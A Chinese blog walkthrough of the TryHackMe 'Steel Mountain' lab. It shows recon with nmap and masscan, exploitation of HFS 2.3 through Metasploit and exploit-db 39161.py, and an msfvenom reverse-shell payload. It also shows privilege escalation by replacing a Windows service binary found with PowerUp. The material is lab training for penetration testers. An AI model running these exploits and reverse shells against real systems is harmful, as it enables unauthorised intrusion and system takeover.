首页 > 其他分享 >tryhackme进攻性渗透测试-Advanced Exploitation 高级利用

tryhackme进攻性渗透测试-Advanced Exploitation 高级利用

时间:2023-12-10 17:45:05浏览次数:37  
标签:exe shell tun0 Exploitation exploit PowerUp msf6 Advanced tryhackme

Steel Mountain

  • 侦察
Nmap -sC -sV -O $IP -oN basic_scan.nmap
Nmap -script=vuln $IP -oN vuln_scan.nmap

总之,masscan在eth0上工作,所以SYN端口探测技术全部没有响应包
image

image

需要一个flag把探测流量正确的打入tun0中
masscan -p8080 10.10.205.233 -e tun0
image

nmap除了使用SYN端口探测之外,还使用协议"敲门"技术:它知道往8080端口尝试发送HTTP协议的请求格式,再提取响应进一步处理。
image

总之nmap知道把流量发给tun0,所以一切的端口探测技术或协议“敲门”技术都有一个正确的回应。

  • 立足点

HFS 2.3 软件版本号 历史漏洞一把梭
image

use exploit/windows/http/rejetto_hfs_exec
set rhosts <target ip>
set rport 8080 
set lhost tun0
exploit

image

  • 错误配置之PowerUp提权

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1

PowerUp 的 powershell 脚本,评估 Windows的错误配置来提权

wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
upload ./PowerUp.ps1

PS 下的wget
PS> wget http://tun0 ip:port/PowerUp.ps1 -OutFile PowerUp.Ps1

image

切换到PS shell

load powershell
powershell_shell

image

PS > . .\PowerUp.ps1
PS > Invoke-AllChecks

image

制作payload
msfvenom -p windows/shell_reverse_tcp lhost=tun0 lport=4443 -f exe -o Advanced.exe

meterpreter> background
msf6 exploit(windows/http/rejetto_hfs_exec)> use exploit/multi/handler
msf6 exploit(multi/handler) > set lhost tun0
msf6 exploit(multi/handler) > set lport 4443
msf6 exploit(multi/handler) > exploit -j
msf6 exploit(multi/handler) > sessions
msf6 exploit(multi/handler) > sessions -i 3

image

cd "C:/Program Files (x86)\IObit"
upload Advanced.exe
image

cmd 的shell

shell
sc stop AdvancedSystemCareService9
copy Advanced.exe "Advanced SystemCare"
sc start AdvancedSystemCareService9

image

image

image

使用提权到system的shell进入桌面拿root.txt

cd "C:\Users\Administrator\Desktop"
type root.txt

image

searchsploit rejetto
searchsploit -x 39161.py

第 1 阶段:该漏洞将在本地计算机文件系统中查找 nc.exe 文件并将其上传到目标计算机。
第 2 阶段:该漏洞将在目标服务器上执行 nc.exe,强制其连接到我们的本地主机。

cp /usr/share/exploitdb/exploits/windows/remote/39161.py ./39161.py

image

image

nc -lnvp 5555
python -m http.server 80
python2 39161.py 10.10.205.233 8080

image

image

image

标签:exe,shell,tun0,Exploitation,exploit,PowerUp,msf6,Advanced,tryhackme
From: https://www.cnblogs.com/sec875/p/17892966.html

相关文章

  • Exploring Advanced WiFi 6 Solutions: QCN6122 vs. QCN6102 with IPQ5018 Platform
    ExploringAdvancedWiFi6Solutions:QCN6122vs.QCN6102withIPQ5018PlatformIntherealmofhigh-performanceWiFi6solutions,theQCN6122andQCN6102,bothintegratedwiththeIPQ5018platform,standoutfortheirversatilityinembeddedandindustrial......
  • The Design of Feedback Control Systems--Advanced Problems
    AP10.1Athree-axispick-and-placeapplicationrequirestheprecisemovementofaroboticarminthree-dimensionalspace,asshowninFigureAP10.1forjoint2.Thearmhasspecificlinearpathsitmustfollowtoavoidotherpiecesofmachinery.Theovers......
  • Advanced diagnostic tools from Autonumen.com
     TheCNHDPA5DiagnosticKit,JohnDeereServiceAdvisorEDLV2DiagnosticTool,PorscheTesterPIWISIII,NexiqUSBLink2,andGMTech2arealladvanceddiagnostictoolsusedintheautomotiveindustry.Thesetoolsaredesignedtoassisttechniciansi......
  • VMware NSX Advanced Load Balancer (NSX ALB) 22.1.5 - 多云负载均衡平台
    VMwareNSXAdvancedLoadBalancer(NSXALB)22.1.5-多云负载均衡平台应用交付:多云负载均衡、Web应用防火墙和容器Ingress服务请访问原文链接:https://sysin.org/blog/vmware-nsx-alb-22/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.org负载均衡平台NSXAdvan......
  • VMware NSX Advanced Load Balancer (NSX ALB) 30.1.1 发布 - 多云负载均衡平台
    VMwareNSXAdvancedLoadBalancer(NSXALB)30.1.1发布-多云负载均衡平台请访问原文链接:https://sysin.org/blog/vmware-nsx-alb-30/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.org负载均衡平台NSXAdvancedLoadBalancerNSXAdvancedLoadBalancer(Avi)......
  • node-fetch Advanced Usage All In One
    node-fetchAdvancedUsageAllInOnefetch//streamhttps://www.npmjs.com/package/node-fetch#streamsdemosNode.jswebcrawlerimportfetchfrom"node-fetch";importpathfrom'node:path';import{fileURLToPath}from'no......
  • Advanced-control timer 高级定时器 时钟源
    Advanced-controltimer TIM1TIM8TIM8isnotavailableinSTM32F411xC/E.Clockselection时钟选择Internalclock(CK_INT)内部时钟(CK_INT),来自APB总线Externalclockmode1:externalinputpin外部时钟模式1:外部输入引脚来自CH1,CH2ED:双边沿检测(e......
  • C#通过PLCSIM ADVANCED与博图连接
    上位机,这里使用C#做上位机程序;在实际项目中,一般上位机可以直接与西门子PLC连接通信;在项目调试阶段,没有PLC的情况下可以通过PLCSIMADVANCED仿真软件与博图连接,实现仿真调试。 步骤如下:第一步、创建博图项目并设置相关参数。1、右键项目树中的项目名称➡属性➡保护➡勾选块......
  • VMware NSX Advanced Load Balancer (NSX ALB) 22.1.4 - 负载均衡平台
    VMwareNSXAdvancedLoadBalancer(NSXALB)22.1.4-负载均衡平台请访问原文链接:https://sysin.org/blog/vmware-nsx-alb-22/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.org负载均衡平台NSXAdvancedLoadBalancerNSXAdvancedLoadBalancer(Avi)可简化应......
  • IfcAdvancedFace
    IfcAdvancedFace实体定义高级面是面曲面的专业化,必须满足使用特定拓扑和几何表示项定义面、边和顶点的要求。 IfcAdvancedFace仅限于: 具有IfcElementarySurface、IfcWeptSurface或IfcBSplineSurface类型的面曲面几何体,具有一个IfcFaceOuterBound作为面的边界,闭合曲面除外......